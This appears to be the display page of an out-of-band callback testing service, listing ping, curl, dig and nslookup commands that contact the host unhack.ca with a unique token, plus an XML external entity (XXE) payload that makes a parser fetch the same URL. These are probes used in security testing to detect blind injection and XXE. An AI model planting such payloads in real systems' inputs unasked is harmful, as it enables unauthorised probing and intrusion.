$ ping -c1 -p 005b58d7cedff0caa7e332eeedc47800 unhack.ca
 
$ curl http://unhack.ca/p/5b58d7cedff0caa7e332eeedc478
 
$ dig 5b58d7cedff0caa7e332eeedc478 @unhack.ca
 
$ dig 5b58d7cedff0caa7e332eeedc478.ns.unhack.ca
 
C:\> nslookup 5b58d7cedff0caa7e332eeedc478 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/5b58d7cedff0caa7e332eeedc478">]>
    <foo>&xxe;</foo>
Waiting for ping...